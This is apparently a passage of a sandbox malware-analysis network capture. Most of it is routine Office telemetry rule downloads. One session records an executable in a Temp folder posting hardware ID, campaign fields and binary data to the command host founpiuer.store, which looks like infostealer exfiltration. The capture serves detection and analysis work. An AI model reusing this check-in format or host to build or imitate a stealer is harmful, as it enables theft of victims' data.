2024-11-07 05:01:21 UTC	538	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:21 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: 5b14ddc3-301e-0033-2bd2-2cfa9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T050121Z-16547b76f7f2g4rlhC1DFWnx8800000007n0000000005n2g x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 05:01:21 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.4	49857	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:20 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 05:01:21 UTC	517	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:21 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: 3018dd1c-101e-008d-1bd2-2c92e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T050121Z-16547b76f7fnlcwwhC1DFWz6gw00000007rg00000000eg8f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 05:01:21 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.4	49860	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:21 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 05:01:21 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:21 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: d7a2ab70-d01e-007a-5458-2ef38c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T050121Z-17df447cdb5fh5hghC1DFWam0400000000z000000000cqv0 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 05:01:21 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.4	49862	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:21 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 05:01:21 UTC	538	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:21 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: 29f76c25-201e-0000-6fd2-2ca537000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T050121Z-16547b76f7f7lhvnhC1DFWa2k000000007k000000000avmm x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 05:01:21 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.4	49863	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:21 UTC	192	OUT	GET /rules/rule701800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 05:01:21 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:21 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BEA414B16" x-ms-request-id: dada5429-501e-007b-0d3f-2e5ba2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T050121Z-15869dbbcc6gt87nhC1DFWh9un000000083g00000000a1pn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 05:01:21 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 73 6f 75 72 63 65 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenResources" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.4	49866	104.21.5.155	443	3288	C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:21 UTC	370	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=j3aUDY3aeWLdcGsJ9f5a_a2khnnbc8XpmOBYbeoSjy4-1730955676-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20442 Host: founpiuer.store
2024-11-07 05:01:21 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 44 37 31 32 34 33 30 39 45 43 33 41 45 42 37 42 39 34 31 38 39 36 36 35 36 31 46 41 32 39 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"ED7124309EC3AEB7B9418966561FA291--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-07 05:01:21 UTC	5111	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 60 93 1b 88 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 Data Ascii: `M?lrQMn 64F6(X&7~`
2024-11-07 05:01:22 UTC	1017	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=fa2r1vati86cp4qj0km05om84s; expires=Sun, 02-Mar-2025 22:48:01 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ouy6u4b3m%2F%2BnTN7qI7aOQZeJs6o2R6eFHFPzvdYarSfGhfO%2BEcANhpp2C5JBfTUwb7rG6cWDDj4HmMeNkEb7BUwdhA%2BJBAuv9QmTwNByI0IEoCkmAzZIL7rWhW36TZ%2B3JYc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8deac3d3ede03acc-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1286&sent=11&recv=25&lost=0&retrans=0&sent_bytes=2838&recv_bytes=21492&delivery_rate=2227692&cwnd=251&unsent_bytes=0&cid=66599557d1bb452e&ts=726&x=0"
2024-11-07 05:01:22 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 39 0d 0a Data Ascii: 11ok 173.254.250.79
2024-11-07 05:01:22 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.4	49865	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:21 UTC	192	OUT	GET /rules/rule701050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 05:01:22 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:21 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB256F43" x-ms-request-id: bb13a884-801e-0035-7914-2f752a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T050121Z-17df447cdb57srlrhC1DFWwgas000000043g000000000kgw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 05:01:22 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 6c 65 61 73 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRelease" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.4	49864	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:21 UTC	192	OUT	GET /rules/rule701051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 05:01:22 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:21 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:47 GMT ETag: "0x8DC582BE1CC18CD" x-ms-request-id: 0ba0e810-201e-0071-785c-2eff15000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T050121Z-17df447cdb5vq4m4hC1DFWrbp800000003tg000000008xgc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 05:01:22 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRe

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.4	49867	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:22 UTC	192	OUT	GET /rules/rule702751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 05:01:22 UTC	538	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:22 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB866CDB" x-ms-request-id: 1deecc73-401e-0029-32d2-2c9b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T050122Z-16547b76f7f9rdn9hC1DFWfk7s00000007rg000000001u58 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 05:01:22 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.4	49868	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:22 UTC	192	OUT	GET /rules/rule702750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 05:01:22 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:22 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE5B7B174" x-ms-request-id: 512decfe-801e-0083-3058-2ef0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T050122Z-17df447cdb59mt7dhC1DFWqpg400000003y0000000000gqb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 05:01:22 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 75 62 6c 69 73 68 65 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPublisher" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.4	49869	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:22 UTC	192	OUT	GET /rules/rule702301v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 05:01:22 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:22 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:00 GMT ETag: "0x8DC582BE976026E" x-ms-request-id: 9a908836-001e-0028-5a40-2ec49f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T050122Z-15869dbbcc6lq45jhC1DFWbkc800000001c0000000004bau x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 05:01:22 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 